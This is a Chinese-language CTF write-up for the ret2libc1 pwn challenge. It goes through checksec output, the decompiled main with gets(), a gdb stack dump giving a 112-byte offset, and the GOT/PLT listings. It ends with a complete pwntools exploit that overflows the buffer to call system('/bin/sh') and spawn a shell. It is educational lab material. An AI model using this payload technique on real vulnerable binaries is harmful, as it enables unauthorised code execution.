ret2libc
checksec
使用checksec
查看文件的保护措施。
ROP$ checksec ret2libc1
[*] '/home/pwn/桌面/题目/ROP/ret2libc1'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
可以看到只开启了部分随即地址化。
IDA静态查看
文件架构是i386-32-little
,那么将文件放入32位IDA中查看源码。
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s; // [esp+1Ch] [ebp-64h]
setvbuf(stdout, 0, 2, 0);
setvbuf(_bss_start, 0, 1, 0);
puts("RET2LIBC >_<");
gets(&s);
return 0;
}
源码很简单,输出RET2LIBC >_<
,然后get()
输入;放入gdb中调试一下。
gdb动态查看
在get()
输入aaaa
后查看栈帧:
07:001c│ eax 0xffffd4ec ◂— 'aaaa'
08:0020│ edx 0xffffd4f0 ◂— 0x0
09:0024│ 0xffffd4f4 ◂— 0x534
0a:0028│ 0xffffd4f8 ◂— 0x9e
0b:002c│ 0xffffd4fc —▸ 0xf7fb3a80 (__dso_handle) ◂— 0xf7fb3a80
0c:0030│ 0xffffd500 ◂— 0x0
0d:0034│ 0xffffd504 —▸ 0xf7fb5000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1e9d6c
0e:0038│ 0xffffd508 —▸ 0xf7ffc7e0 (_rtld_global_ro) ◂— 0x0
0f:003c│ 0xffffd50c —▸ 0xf7fb8c68 (__exit_funcs_lock) ◂— 0x0
10:0040│ 0xffffd510 —▸ 0xf7fb5000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1e9d6c
11:0044│ 0xffffd514 —▸ 0xf7fe22f0 ◂— endbr32
12:0048│ 0xffffd518 ◂— 0x0
13:004c│ 0xffffd51c —▸ 0x8048405 (_init+9) ◂— add ebx, 0x1bfb
14:0050│ 0xffffd520 —▸ 0xf7fb53fc (__exit_funcs) —▸ 0xf7fb6900 (initial) ◂— 0x0
15:0054│ 0xffffd524 ◂— 0x40000
16:0058│ 0xffffd528 —▸ 0x804a000 (_GLOBAL_OFFSET_TABLE_) —▸ 0x8049f14 (_DYNAMIC) ◂— 0x1
17:005c│ 0xffffd52c —▸ 0x80486e2 (__libc_csu_init+82) ◂— add edi, 1
18:0060│ 0xffffd530 ◂— 0x1
19:0064│ 0xffffd534 —▸ 0xffffd5f4 —▸ 0xffffd738 ◂— 0x6d6f682f ('/hom')
1a:0068│ 0xffffd538 —▸ 0xffffd5fc —▸ 0xffffd75e ◂— 'LANG=zh_CN.UTF-8'
1b:006c│ 0xffffd53c —▸ 0xf7e03519 (__cxa_atexit+41) ◂— add esp, 0x1c
1c:0070│ 0xffffd540 —▸ 0xf7fe22f0 ◂— endbr32
1d:0074│ 0xffffd544 ◂— 0x0
1e:0078│ 0xffffd548 —▸ 0x804869b (__libc_csu_init+11) ◂— add ebx, 0x1965
1f:007c│ 0xffffd54c ◂— 0x0
20:0080│ 0xffffd550 —▸ 0xf7fb5000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1e9d6c
... ↓
22:0088│ ebp 0xffffd558 ◂— 0x0
栈底地址为:0xffffd558
,get
()输入的内容地址在0xffffd4ec
;使用python计算溢出距离:
>>> 0xffffd558 - 0xffffd4ec
108
那么可以得知距离为108
字节,加上ebp
的4个字节,总共就是112字节;system
函数在secure
函数中,故plt中有着system
的地址。plt
和got
不懂可以百度学习一下。
pwndbg> got
GOT protection: Partial RELRO | GOT functions: 10
[0x804a00c] gets@GLIBC_2.0 -> 0x8048436 (gets@plt+6) ◂— push 0 /* 'h' */
[0x804a010] time@GLIBC_2.0 -> 0x8048446 (time@plt+6) ◂— push 8
[0x804a014] puts@GLIBC_2.0 -> 0xf7e3ccd0 (puts) ◂— endbr32
[0x804a018] system@GLIBC_2.0 -> 0x8048466 (system@plt+6) ◂— push 0x18
[0x804a01c] __gmon_start__ -> 0x8048476 (__gmon_start__@plt+6) ◂— push 0x20 /* 'h ' */
[0x804a020] srand@GLIBC_2.0 -> 0x8048486 (srand@plt+6) ◂— push 0x28 /* 'h(' */
[0x804a024] __libc_start_main@GLIBC_2.0 -> 0xf7de9df0 (__libc_start_main) ◂— endbr32
[0x804a028] setvbuf@GLIBC_2.0 -> 0xf7e3d4c0 (setvbuf) ◂— endbr32
[0x804a02c] rand@GLIBC_2.0 -> 0x80484b6 (rand@plt+6) ◂— push 0x40 /* 'h@' */
[0x804a030] __isoc99_scanf@GLIBC_2.7 -> 0x80484c6 (__isoc99_scanf@plt+6) ◂— push 0x48 /* 'hH' */
pwndbg> plt
0x8048430: gets@plt
0x8048440: time@plt
0x8048450: puts@plt
0x8048460: system@plt
0x8048470: __gmon_start__@plt
0x8048480: srand@plt
0x8048490: __libc_start_main@plt
0x80484a0: setvbuf@plt
0x80484b0: rand@plt
0x80484c0: __isoc99_scanf@plt
最终payload
:
from pwn import *
io = process("./ret2libc1")
elf = ELF("./ret2libc1")
system_plt = elf.plt["system"] #获取system函数的地址
bin_sh = next(elf.search(b"/bin/sh")) #获取/bin/sh字符串作为system的参数
payload = b"a" * 112 + p32(system_plt) + b"b" * 4 + p32(bin_sh) #构造payload
io.sendline(payload)
io.interactive()
标签:__,plt,GLIBC,0x0,system,ret2lib,2.0
From: https://www.cnblogs.com/qianyuzz/p/17735478.html